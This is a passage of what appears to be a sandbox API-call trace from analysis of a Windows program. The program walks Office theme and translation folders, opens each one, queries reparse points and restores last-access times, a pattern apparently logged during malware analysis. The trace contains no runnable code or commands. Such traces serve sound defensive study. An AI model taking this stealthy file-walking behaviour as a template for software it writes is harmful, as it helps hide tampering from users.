lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.544] GetLastError () returned 0x12 [0144.544] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.544] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.544] GetLastError () returned 0x12 [0144.544] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.546] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.546] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9abb18, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9abb18, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.546] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.547] GetLastError () returned 0x12 [0144.547] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.547] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.547] GetLastError () returned 0x12 [0144.547] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.549] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.549] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ac320, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9ac320, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.550] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.551] GetLastError () returned 0x12 [0144.551] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.551] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.551] GetLastError () returned 0x12 [0144.551] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.554] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.554] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ac320, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9ac320, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.554] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.555] GetLastError () returned 0x12 [0144.555] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.555] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.555] GetLastError () returned 0x12 [0144.555] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.557] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.557] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ae320, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9ae320, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.558] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.558] GetLastError () returned 0x12 [0144.559] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.559] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.559] GetLastError () returned 0x12 [0144.559] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.561] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.561] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ae320, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9ae320, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.561] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.562] GetLastError () returned 0x12 [0144.562] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.562] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.562] GetLastError () returned 0x12 [0144.562] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.564] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.564] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9aeb68, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9aeb68, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.565] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.566] GetLastError () returned 0x12 [0144.566] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.566] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.566] GetLastError () returned 0x12 [0144.566] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.569] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.569] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9aeb68, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9aeb68, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.570] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.571] GetLastError () returned 0x12 [0144.571] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.571] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.571] GetLastError () returned 0x12 [0144.571] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.573] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.573] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9aeb68, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9aeb68, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.573] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.574] GetLastError () returned 0x12 [0144.574] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.574] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.574] GetLastError () returned 0x12 [0144.574] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.574] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.577] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.577] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9aeb68, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9aeb68, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.577] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.578] GetLastError () returned 0x12 [0144.578] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.578] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.578] GetLastError () returned 0x12 [0144.578] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.579] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.579] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9af3f0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9af3f0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.580] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.581] GetLastError () returned 0x12 [0144.581] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.581] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.581] GetLastError () returned 0x12 [0144.581] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.581] GetLastError () returned 0x12 [0144.581] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.583] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.584] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b13f0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b13f0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.584] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0144.586] GetLastError () returned 0x12 [0144.586] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.586] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.588] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.588] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b13f0, 